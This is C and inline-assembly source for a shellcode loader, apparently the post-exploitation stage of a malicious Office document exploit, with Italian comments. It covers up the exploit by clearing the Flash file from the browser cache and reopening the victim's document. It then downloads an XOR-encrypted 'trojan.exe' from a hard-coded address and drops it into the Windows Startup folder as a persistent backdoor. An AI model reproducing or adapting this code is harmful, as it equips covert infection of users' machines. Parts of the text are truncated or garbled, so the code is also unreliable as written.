#include #include #include #pragma section(".loader", read,execute) #pragma code_seg(".loader") #include "loader.h" #include "crt.h" #pragma optimize( "", off ) __declspec(allocate(".loader")) struct __strings _STRINGS = { //NULL, NULL, 0x8f900864, // SHELLCODE gadget { 'N', 'T', 'D', 'L', 'L', 0x00 }, { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', 0x0 }, { 'u', 's', 'e', 'r', '3', '2', 0x0 }, { 's', 'h', 'e', 'l', 'l', '3', '2', 0x0 }, { 'U', 'R', 'L', 'M', 'O', 'N', 0x00 }, { 'W', 'I', 'N', 'I', 'N', 'E', 'T', 0x0 }, { 'A', 'D', 'V', 'A', 'P', 'I', '3', '2', 0x0 }, { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 }, { 'G', 'e', 't', 'F', 'i', 'l', 'e', 'S', 'i', 'z', 'e', 0x0 }, { 'S', 'l', 'e', 'e', 'p', 0x0 }, { 'E', 'x', 'i', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 }, { 'G', 'e', 't', 'M', 'o', 'd', 'u', 'l', 'e', 'F', 'i', 'l', 'e', 'N', 'a', 'm', 'e', 'W', 0x0 }, { 'Z', 'w', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 'F', 'i', 'l', 'e', 0x0 }, { 'S', 'h', 'e', 'l', 'l', 'E', 'x', 'e', 'c', 'u', 't', 'e', 'W', 0x0 }, { 'U', 'R', 'L', 'D', 'o', 'w', 'n', 'l', 'o', 'a', 'd', 'T', 'o', 'F', 'i', 'l', 'e', 'A', 0x00 }, { 'S', 'H', 'G', 'e', 't', 'S', 'p', 'e', 'c', 'i', 'a', 'l', 'F', 'o', 'l', 'd', 'e', 'r', 'P', 'a', 't', 'h', 'W', 0x00 }, { 'F', 'i', 'n', 'd', 'F', 'i', 'r', 's', 't', 'U', 'r', 'l', 'C', 'a', 'c', 'h', 'e', 'E', 'n', 't', 'r', 'y', 'A', 0x0 }, { 'F', 'i', 'n', 'd', 'N', 'e', 'x', 't', 'U', 'r', 'l', 'C', 'a', 'c', 'h', 'e', 'E', 'n', 't', 'r', 'y', 'A', 0x0 }, { 'D', 'e', 'l', 'e', 't', 'e', 'U', 'r', 'l', 'C', 'a', 'c', 'h', 'e', 'E', 'n', 't', 'r', 'y', 'A', 0x0 }, { 'F', 'i', 'n', 'd', 'C', 'l', 'o', 's', 'e', 'U', 'r', 'l', 'C', 'a', 'c', 'h', 'e', 0x0 }, { 'Z', 'w', 'Q', 'u', 'e', 'r', 'y', 'O', 'b', 'j', 'e', 'c', 't', 0x0 }, { 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0x0 }, { 'G', 'e', 't', 'S', 'h', 'o', 'r', 't', 'P', 'a', 't', 'h', 'N', 'a', 'm', 'e', 'W', 0x0}, { 'G', 'e', 't', 'F', 'i', 'l', 'e', 'A', 't', 't', 'r', 'i', 'b', 'u', 't', 'e', 's', 'W', 0x0 }, { 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'K', 'e', 'y', 'E', 'x', 'W', 0x0 }, { 'R', 'e', 'g', 'Q', 'u', 'e', 'r', 'y', 'V', 'a', 'l', 'u', 'e', 'E', 'x', 'W', 0x0 }, { 'D', 'e', 'l', 'e', 't', 'e', 'F', 'i', 'l', 'e', 'A', 0x0 }, { 'G', 'e', 't', 'U', 'r', 'l', 'C', 'a', 'c', 'h', 'e', 'E', 'n', 't', 'r', 'y', 'I', 'n', 'f', 'o', 'A', 0x0 }, { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'A', 0x0 }, { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'U', 'r', 'l', 'A', 0x0 }, { 'H', 't', 't', 'p', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'A', 0x0 }, { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e', 'E', 'x', 'A', 0x0 }, { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'A', 0x0 }, { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', 0x0 }, { 'a', 't', 'o', 'i', 0x0 }, { 'w', 'c', 's', 't', 'o', 'm', 'b', 's', 0x0 }, { L'S', L'o', L'f', L't', L'w', L'a', L'r', L'e', L'\\', L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'O', L'f', L'f', L'i', L'c', L'e', L'\\', L'\0' }, { L'W', L'o', L'r', L'd', L'\0' }, { L'P', L'o', L'w', L'e', L'r', L'P', L'o', L'i', L'n', L't', L'\0' }, { L'\\', L'F', L'i', L'l', L'e', L' ', L'M', L'R', L'U', L'\0' }, { L'I', L't', L'e', L'm', L' ', L'1', L'\0' }, { '.', 's', 'w', 'f', 0x0 }, { L'P', L'r', L'i', L'm', L'a', L'r', L'y', L'W', L'o', L'r', L'd', L'1', L'\0' }, { L'M', L'u', L't', L'e', L'x', L'\0' }, { L'\\', L'P', L'P', L'1', 0x0 }, { L'R', L'u', L'n', L'n', L'i', L'n', L'g', 0x0 }, { L'.', L'D', L'O', L'C', L'X', L'\0' }, { L'.', L'P', L'P', L'S', L'X', L'\0' }, { L'/', L'q', L' ', L'/', L'f', L' ', L'"', L'\0' }, { L'/', L's', L' ', L'"', L'\0' }, { L'\\', L'~', L'$', L'\0' }, { L'"', L'\0' }, { 'M', 'o', 'z', 'i', 'l', 'l', 'a', '/', '4', '.', '0', ' ', '(', 'c', 'o', 'm', 'p', 'a', 't', 'i', 'b', 'l', 'e', ';', ' ', 'M', 'S', 'I', 'E', ' ', '7', '.', '0', ';', ' ', 'W', 'i', 'n', 'd', 'o', 'w', 's', ' ', 'N', 'T', ' ', '6', '.', '1', ';', ' ', 'W', 'O', 'W', '6', '4', ';', ' ', 'T', 'r', 'i', 'd', 'e', 'n', 't', '/', '5', '.', '0', ';', ' ', 'S', 'L', 'C', 'C', '2', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '2', '.', '0', '.', '5', '0', '7', '2', '7', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '3', '.', '5', '.', '3', '0', '7', '2', '9', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '3', '.', '0', '.', '3', '0', '7', '2', '9', ';', ' ', 'M', 'e', 'd', 'i', 'a', ' ', 'C', 'e', 'n', 't', 'e', 'r', ' ', 'P', 'C', ' ', '6', '.', '0', ';', ' ', '.', 'N', 'E', 'T', '4', '.', '0', 'C', ';', ' ', '.', 'N', 'E', 'T', '4', '.', '0', 'E', ';', ' ', 'M', 'D', 'D', 'R', 'J', 'S', ')', 0x0 } }; __declspec(allocate(".loader")) struct __config _CONFIG = { 0x41414141, { 'h', 't', 't', 'p', ':', '/', '/', '1', '9', '2', '.', '1', '6', '8', '.', '8', '.', '1', ':', '8', '0', '8', '0', '/', 't', 'r', 'o', 'j', 'a', 'n', '.', 'e', 'x', 'e', 0x00, 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 0x00, 0x00, 0x00, 0x00 }, { '\\', 'b', 'a', 'd', 'l', 'l', '.', 'e', 'x', 'e', 0x00, 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 0x00, 0x00, 0x00, 0x00 }, }; __declspec(allocate(".loader")) VTABLE vTable = { NULL, NULL, (OUTPUTDEBUGSTRINGA)0x8f900864, // SHELLCODE gadget NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; __declspec(naked) VOID Startup() { _asm { // make sure the next call is 4-byte aligned in the shellcode. nop nop nop start: call next // shellcode gadget, non toccare next: pop eax // shellcode gadget and eax, 0xfffff000 // shellcode gadget sub eax, 0x1000 // occhio che qui deve esserci > 4096 tra lo stub e e stringhe lea esi, vTable and esi, 0x00000fff add esi, eax lea edi, _CONFIG and edi, 0x00000fff add edi, eax lea ecx, _STRINGS and ecx, 0x00000fff add ecx, eax add ecx, 0x40 add edi, 0x40 add esi, 0x40 push ecx push edi push esi call LoaderEntryPoint } } VOID RemoveCachedObject(__in PVTABLE lpTable, __in LPSTR strUrl, __in BOOL isSubString) { DWORD dwLen = 0x1000; LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFOA) lpTable->VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); if (!isSubString) { BOOL dwRet = lpTable->GetUrlCacheEntryInfoA(strUrl, lpCacheEntry, &dwLen); if (!dwRet) { lpTable->Sleep(1000); dwRet = lpTable->GetUrlCacheEntryInfoA(strUrl, lpCacheEntry, &dwLen); } if (!lpTable->DeleteUrlCacheEntryA(strUrl)) lpTable->DeleteUrlCacheEntryA(strUrl); if (dwRet) lpTable->DeleteFileA(lpCacheEntry->lpszLocalFileName); return; } dwLen = 0x1000; HANDLE hCache = lpTable->FindFirstUrlCacheEntryA(NULL, lpCacheEntry, &dwLen); if (hCache == NULL) return; do { if (__STRSTRI__(lpCacheEntry->lpszSourceUrlName, strUrl)) { if (!lpTable->DeleteUrlCacheEntryA(lpCacheEntry->lpszSourceUrlName)) lpTable->DeleteUrlCacheEntryA(lpCacheEntry->lpszSourceUrlName); lpTable->DeleteFileA(lpCacheEntry->lpszLocalFileName); } dwLen = 0x1000; } while (lpTable->FindNextUrlCacheEntryA(hCache, lpCacheEntry, &dwLen)); lpTable->FindCloseUrlCache(hCache); } LPWSTR FindDriveOfFile(__in PVTABLE lpTable, __in struct __strings *strings, __in LPWSTR strFileName) { LPWSTR strPath = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); for (CHAR i='A'; i<='Z'; i++) { strPath[0] = i; strPath[1] = ':'; strPath[2] = 0x0; __STRCATW__(strPath, strFileName); if (lpTable->GetFileAttributesW(strPath) != INVALID_FILE_ATTRIBUTES) return strPath; } return NULL; } LPWSTR ReadMRU(__in PVTABLE lpTable, __in struct __strings *strings) { HKEY hKey; DWORD dwType, dwSize; WCHAR strOfficeVer[5]; LPWSTR strPath = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); LPWSTR strOfficeMRUKey = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); for (UINT i=0x30; i<=0x35; i++) { strOfficeVer[0] = '1'; strOfficeVer[1] = i; strOfficeVer[2] = '.'; strOfficeVer[3] = '0'; strOfficeVer[4] = 0x0; strOfficeMRUKey[0] = 0x0; __STRCATW__(strOfficeMRUKey, strings->strOfficeKey1); __STRCATW__(strOfficeMRUKey, strOfficeVer); #ifdef DOCX __STRCATW__(strOfficeMRUKey, strings->strWord); #elif PPSX __STRCATW__(strOfficeMRUKey, strings->strPowerPoint); #endif __STRCATW__(strOfficeMRUKey, strings->strOfficeKey2); if (lpTable->RegOpenKeyExA(HKEY_CURRENT_USER, strOfficeMRUKey, 0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS) { dwSize = 0x1000; if (lpTable->RegQueryValueExA(hKey, strings->strOfficeItem, NULL, &dwType, strPath, &dwSize) == ERROR_SUCCESS) { while (*strPath++ != ':'); strPath -= 2; return strPath; } } } return NULL; } LPSTR GetStartupPath(__in PVTABLE lpTable) { LPSTR strStartupPath = (LPSTR) lpTable->VirtualAlloc(NULL, 0x8000, MEM_COMMIT, PAGE_READWRITE); LPWSTR wstrLongPath = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x8000*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE); LPWSTR wstrShortPath = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x8000*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE); if (!lpTable->SHGetSpecialFolderPathW(NULL, wstrLongPath, CSIDL_STARTUP, TRUE)) lpTable->SHGetSpecialFolderPathW(NULL, wstrLongPath, CSIDL_STARTUP, FALSE); lpTable->GetShortPathNameW(wstrLongPath, wstrShortPath, 0x8000); lpTable->wcstombs(strStartupPath, wstrShortPath, 0x8000); return strStartupPath; } VOID LoaderEntryPoint(struct __vtbl *VTBL, struct __config *config, struct __strings *strings) { DWORD dwOut; VTABLE lpTable; if (!GetVTable(&lpTable, strings)) return; // FIXME IO_STATUS_BLOCK pIO; PFILE_NAME_INFORMATION lpFileNameInfo = (PFILE_NAME_INFORMATION) lpTable.VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); PFILE_NAME_INFORMATION lpEventNameInfo = (PFILE_NAME_INFORMATION) lpTable.VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); BOOL dwOriginalFileFound = FALSE; BOOL dwEventClosed = FALSE; HANDLE hTmpFile = INVALID_HANDLE_VALUE; for (UINT i=0; i<0xffff; i++) { if (dwOriginalFileFound == FALSE) { __MEMSET__(lpEventNameInfo, 0x0, 0x1000); if (dwEventClosed == FALSE && lpTable.NtQueryObject((HANDLE)i, (OBJECT_INFORMATION_CLASS)1, lpEventNameInfo, 0x1000, &dwOut) == 0) { #ifdef DOCX if (lpEventNameInfo->FileNameLength > 0 && __STRSTRIW__(lpEventNameInfo->FileName, strings->strDOCRunning) && __STRSTRIW__(lpEventNameInfo->FileName, strings->strDOCRunning2)) #elif PPSX if (lpEventNameInfo->FileNameLength > 0 && __STRSTRIW__(lpEventNameInfo->FileName, strings->strPPRunning1) && __STRSTRIW__(lpEventNameInfo->FileName, strings->strPPRunning2)) #endif { lpTable.CloseHandle((HANDLE)i); // chiude handle a ***PrimaryWord1*Mutex dwEventClosed = TRUE; } } DWORD dwHighSize = 0; DWORD dwLowSize = lpTable.GetFileSize((HANDLE)i, &dwHighSize); // ha una size ? if (dwLowSize == INVALID_FILE_SIZE) continue; __MEMSET__(lpFileNameInfo, 0x0, 0x1000); if (lpTable.NtQueryInformationFile((HANDLE)i, &pIO, lpFileNameInfo, 0x1000, (FILE_INFORMATION_CLASS)9)) // ha un nome? continue; #ifdef DOCX if (!__STRSTRIW__(lpFileNameInfo->FileName, strings->strDOCX)) // .docx? continue; #elif PPSX if (!__STRSTRIW__(lpFileNameInfo->FileName, strings->strPPSX)) // .ppsx? continue; #endif if (__STRSTRIW__(lpFileNameInfo->FileName, strings->strTmp)) // != temp file { hTmpFile = (HANDLE) i; continue; } lpTable.CloseHandle((HANDLE)i); dwOriginalFileFound = TRUE; } if (dwOriginalFileFound && dwEventClosed) break; } if (hTmpFile != INVALID_HANDLE_VALUE) lpTable.CloseHandle(hTmpFile); // prima di lanciare la nuova istanza, zapppiamo l'swf dalla cache cosi' non va in loop mortale ritriggherando l'exploit lpTable.Sleep(500); RemoveCachedObject(&lpTable, strings->strSWFSuffix, TRUE); // cerca di recuperare il path completo del documento originale LPWSTR strCompleteDocumentPath = NULL; if (dwOriginalFileFound) strCompleteDocumentPath = FindDriveOfFile(&lpTable, strings, lpFileNameInfo->FileName); else strCompleteDocumentPath = ReadMRU(&lpTable, strings); // prepara gli argomenti per la ShellExecute LPWSTR strArgs = (LPWSTR) lpTable.VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); __MEMSET__(strArgs, 0x0, 0x1000); if (strCompleteDocumentPath != NULL) { #ifdef DOCX __STRCATW__(strArgs, strings->strDOCArgs); #elif PPSX __STRCATW__(strArgs, strings->strPPTArgs); #endif __STRCATW__(strArgs, strCompleteDocumentPath); __STRCATW__(strArgs, strings->strQuote); } // lancia office LPWSTR strExe = (LPWSTR) lpTable.VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); lpTable.GetModuleFileNameW(NULL, strExe, 0x1000); if (strCompleteDocumentPath != NULL) lpTable.ShellExecuteW(NULL, NULL, strExe, strArgs, NULL, 1); else lpTable.ShellExecuteW(NULL, NULL, strExe, NULL, NULL, 1); // download exe // dest path LPSTR strShortPath = GetStartupPath(&lpTable); __STRCAT__(strShortPath, config->szBackdoorPath); /* lpTable.SHGetSpecialFolderPathA(NULL, strStartupPath, CSIDL_STARTUP, TRUE); lpTable.GetShortPathNameA(strStartupPath, strShortPath, 0x1000/sizeof(WCHAR)); */ DWORD dwFileSize = 0; LPBYTE lpFileBuffer = DownloadAndDecrypt(&lpTable, strings, config->szUrl, &dwFileSize, config->dwXorKey); if (lpFileBuffer != NULL) { HANDLE hFile = lpTable.CreateFileA(strShortPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { lpTable.WriteFile(hFile, lpFileBuffer, dwFileSize, &dwOut, NULL); lpTable.CloseHandle(hFile); } } //lpTable.URLDownloadToFileA(NULL, config->szUrl, strShortPath, NULL, NULL); // cancella ancora l'swf dalla cache, in caso non abbia fatto tempo a scriverlo nella cache prima. RemoveCachedObject(&lpTable, strings->strSWFSuffix, TRUE); // exits lpTable.Sleep(1000); lpTable.ExitProcess(0); } BOOL GetVTable(__out PVTABLE lpTable, struct __strings *_strings) { if (!GetPointers(&lpTable->GetProcAddress, &lpTable->LoadLibraryA)) return FALSE; // FIXME // KERNEL32 lpTable->VirtualAlloc = (VIRTUALALLOC) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strVirtualAlloc); lpTable->GetFileSize = (GETFILESIZE) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strGetFileSize); lpTable->CloseHandle = (CLOSEHANDLE) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strCloseHandle); lpTable->Sleep = (SLEEP) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strSleep); lpTable->ExitProcess = (EXITPROCESS) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strExitProcess); lpTable->GetModuleFileNameW = (GETMODULEFILENAMEW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strGetModuleFileNameW); lpTable->GetShortPathNameW = (GETSHORTPATHNAMEW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strGetShortPathNameW); lpTable->GetFileAttributesW = (GETFILEATTRIBUTESW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strGetFileAttributesW); lpTable->DeleteFileA = (DELETEFILEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strDeleteFileA); lpTable->CreateFileA = (CREATEFILEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strCreateFileA); lpTable->WriteFile = (WRITEFILE) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strKernel32), _strings->strWriteFile); // NTDLL lpTable->NtQueryInformationFile = (NTQUERYINFORMATIONFILE) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strNtDll), _strings->strZwQueryInformationFile); lpTable->NtQueryObject = (NTQUERYOBJECT) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strNtDll), _strings->strNtQueryObject); lpTable->atoi = (ATOI) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strNtDll), _strings->strAtoi); lpTable->wcstombs = (WCSTOMBS) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strNtDll), _strings->strWcsToMbs); // SHELL32 lpTable->ShellExecuteW = (SHELLEXECUTEW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strShell32), _strings->strShellExecuteW); lpTable->SHGetSpecialFolderPathW = (SHGETSPECIALFOLDERPATHW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strShell32), _strings->strSHGetSpecialFolderPathW); // WININET lpTable->FindFirstUrlCacheEntryA = (FINDFIRSTURLCACHEENTRYA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strFindFirstUrlCacheEntryA); lpTable->FindNextUrlCacheEntryA = (FINDNEXTURLCACHEENTRYA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strFindNextUrlCacheEntryA); lpTable->DeleteUrlCacheEntryA = (DELETEURLCACHEENTRYA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strDeleteUrlCacheEntryA); lpTable->FindCloseUrlCache = (FINDCLOSEURLCACHE) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strFindCloseUrlCache); lpTable->GetUrlCacheEntryInfoA = (GETURLCACHEENTRYINFOA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strGetUrlCacheEntryInfoA); lpTable->InternetOpenA = (INTERNETOPENA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strInternetOpenA); lpTable->InternetOpenUrlA = (INTERNETOPENURLA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strInternetOpenUrlA); lpTable->HttpQueryInfoA = (HTTPQUERYINFOA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strHttpQueryInfoA); lpTable->InternetReadFileExA = (INTERNETREADFILEEXA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strWinInet), _strings->strInternetReadFileExA); // URLMON //lpTable->URLDownloadToFileA = (URLDOWNLOADTOFILEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strUrlMon), _strings->strUrlDownloadToFileA); // ADVAPI32 lpTable->RegOpenKeyExA = (REGOPENKEYEXW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strAdvapi32), _strings->strRegOpenKeyExW); lpTable->RegQueryValueExA = (REGQUERYVALUEEXW) lpTable->GetProcAddress(lpTable->LoadLibraryA(_strings->strAdvapi32), _strings->strRegQueryValueExW); return TRUE; } LPBYTE DownloadAndDecrypt(__in PVTABLE lpTable, __in struct __strings *strings, __in LPSTR strUrl, __in LPDWORD dwFileLen, __in DWORD dwXorKey) { CHAR strBuff[17]; HINTERNET hInternet; DWORD dwBuffLen, dwIdx, dwOut; hInternet = lpTable->InternetOpenA(strings->strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (hInternet) { HINTERNET hUrl = lpTable->InternetOpenUrlA(hInternet, strUrl, NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_PRAGMA_NOCACHE, NULL); if (hUrl) { dwBuffLen = 16; dwIdx = 0; lpTable->HttpQueryInfoA(hUrl, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx); *dwFileLen = lpTable->atoi(strBuff); LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE); if (DownloadFile(lpTable, hUrl, lpFileBuffer, *dwFileLen)) return Decrypt(lpFileBuffer, *dwFileLen, dwXorKey); } } return NULL; } BOOL DownloadFile(__in PVTABLE lpTable, __in HINTERNET hUrl, __in LPBYTE lpBuffer, __in DWORD dwBufferLen) { DWORD dwOut, dwRead = 0; INTERNET_BUFFERSA pInternetBuff; __MEMSET__(&pInternetBuff, 0x0, sizeof(INTERNET_BUFFERSA)); pInternetBuff.dwStructSize = sizeof(INTERNET_BUFFERS); pInternetBuff.Next = NULL; pInternetBuff.lpvBuffer = lpBuffer; pInternetBuff.dwBufferLength = dwBufferLen; if (lpTable->InternetReadFileExA(hUrl, &pInternetBuff, IRF_SYNC, NULL)) if (pInternetBuff.dwBufferLength == dwBufferLen) return TRUE; return FALSE; } LPBYTE Decrypt(__in LPBYTE lpBuffer, __in DWORD dwBuffLen, __in DWORD dwXorKey) { LPDWORD lpD = (LPDWORD) lpBuffer; LPBYTE lpB = (LPBYTE) lpBuffer; for (UINT i=0; iLdr->InMemoryOrderModuleList; PLIST_ENTRY pListEntry = pListHead->Flink; #ifdef SUX_KERNEL32_HANDLE hKernel32 = (CONTAINING_RECORD(pListEntry->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks))->DllBase; #elif defined FAST_KERNEL32_HANDLE while (pListEntry != pListHead) { PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); if (pModEntry->FullDllName.Length) { DWORD dwLen = pModEntry->FullDllName.Length; PWCHAR strName = (pModEntry->FullDllName.Buffer + (dwLen/sizeof(WCHAR))) - 13; if (GetStringHash(strName, TRUE, 13) == 0x8fecdbff || GetStringHash(strName, TRUE, 13) == 0x6e2bcfd7) { hKernel32 = pModEntry->DllBase; break; } } pListEntry = pListEntry->Flink; } #else WCHAR strDllName[MAX_PATH]; WCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\0' }; while (pListEntry != pListHead) { PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); if (pModEntry->FullDllName.Length) { DWORD dwLen = pModEntry->FullDllName.Length; __MEMCPY__(strDllName, pModEntry->FullDllName.Buffer, dwLen); strDllName[dwLen/sizeof(WCHAR)] = L'\0'; if (__STRSTRIW__(strDllName, strKernel32)) { hKernel32 = pModEntry->DllBase; break; } } pListEntry = pListEntry->Flink; } #endif return hKernel32; } BOOL GetPointers( __out PGETPROCADDRESS fpGetProcAddress, __out PLOADLIBRARYA fpLoadLibraryA) { HANDLE hKernel32 = GetKernel32Handle(); if (hKernel32 == INVALID_HANDLE_VALUE) return FALSE; LPBYTE lpBaseAddr = (LPBYTE) hKernel32; PIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER) lpBaseAddr; PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS) (lpBaseAddr + lpDosHdr->e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY) (lpBaseAddr + pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); LPDWORD pNameArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfNames); LPDWORD pAddrArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfFunctions); LPWORD pOrdArray = (LPWORD) (lpBaseAddr+ pExportDir->AddressOfNameOrdinals); *fpGetProcAddress = NULL; *fpLoadLibraryA = NULL; #ifdef FAST_POINTERS for (UINT i=0; iNumberOfNames; i++) { LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]); if (GetStringHash(pFuncName, FALSE, 14) == 0x7c0dfcaa) *fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]); else if (GetStringHash(pFuncName, FALSE, 12) == 0xec0e4e8e) *fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]); if (*fpGetProcAddress && *fpLoadLibraryA) return TRUE; } #else CHAR strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0x0 }; CHAR strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 }; for (UINT i=0; iNumberOfNames; i++) { LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]); if (!__STRCMPI__(pFuncName, strGetProcAddress)) *fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]); else if (!__STRCMPI__(pFuncName, strLoadLibraryA)) *fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]); if (*fpGetProcAddress && *fpLoadLibraryA) return TRUE; } #endif return FALSE; } DWORD GetStringHash( __in LPVOID lpBuffer, __in BOOL bUnicode, __in UINT uLen) { DWORD dwHash = 0; LPSTR strBuffer = (LPSTR) lpBuffer; while (uLen--) { dwHash = (dwHash >> 13) | (dwHash << 19); dwHash += (DWORD)*strBuffer++; if (bUnicode) strBuffer++; } return dwHash; } #pragma optimize( "", on ) // CRT BOOL __ISUPPER__(__in CHAR c) { return ('A' <= c) && (c <= 'Z'); }; CHAR __TOLOWER__(__in CHAR c) { return __ISUPPER__(c) ? c - 'A' + 'a' : c ; }; UINT __STRLEN__(__in LPSTR lpStr1) { UINT i = 0; while(lpStr1[i] != 0x0) i++; return i; } UINT __STRLENW__(__in LPWSTR lpStr1) { UINT i = 0; 